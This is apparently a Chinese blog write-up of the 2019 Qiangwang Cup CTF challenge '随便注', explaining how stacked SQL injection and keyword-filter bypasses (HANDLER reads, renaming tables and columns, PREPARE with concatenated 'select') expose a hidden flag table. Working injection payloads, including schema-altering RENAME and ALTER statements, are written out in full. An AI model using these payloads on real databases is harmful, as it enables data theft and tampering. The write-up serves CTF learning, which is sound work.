[强网杯 2019]随便注

[强网杯 2019]随便注

题目分析

这是一道SQL注入的题目

image-20210823202057257

首先尝试一下万能密码,能够把表里面的东西都输出出来,但是这里面并没有flag。

image-20210823202155088

再尝试查看数据库名字,发现过滤了一些像SELECT这样的关键词。

image-20210823202501473

但是查看数据库是可以不通过上面那些黑名单中的字符的,比如用extractvalue()报错注入就能够将数据库名字输出出来。

image-20210823202831996

这里可以看到数据库的名字为supersqli,这里再尝试下监测堆叠注入,输入1';show tables;#

image-20210823203526875

发现存在堆叠注入,而且这里还有2个表,名字分别为1919810931114514和words,再查看第一个表的列名.

image-20210823203914200

可以看到flag就在这个表里面。

绕过SELECT过滤

由于这里过滤了SQL注入中最常用的select字符串,给我们造成了很大的麻烦,但是这里仍有几个绕过的方法。特别说明:这些方法都需要在堆叠注入可用的情况下才能行得通!

handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一 行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。用法如下:

handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

因此这里的payload:

';handler `1919810931114514` open;handler `1919810931114514` read first#

替换查询语句中的表和列

首先我们可以看下words表中的列名。

image-20210823204501946

发现又id列和data列,猜测这个表就是存放一开始我们查出来的数据,进一步猜测查询的语句为:

select * from words where id = '$id';

那么我们可以尝试将原来1919810931114514这个表的名字改为words,把flag这个列的名字改为id,这样一来,查询语句实际上查询的内容就是:

select * from 1919810931114514 where flag = '$id';

payload:

1';
RENAME TABLE `words` TO `words2`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET 
utf8 COLLATE utf8_general_ci NOT NULL;#

修改成功之后再使用万能密码将表中的内容都输出即可。

Mysql预处理

使用Mysql中的预处理语句拼接出select字符串进行查询。

payload:

1';PREPARE st from concat('s','elect', ' * from `1919810931114514` 
');EXECUTE st;#
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇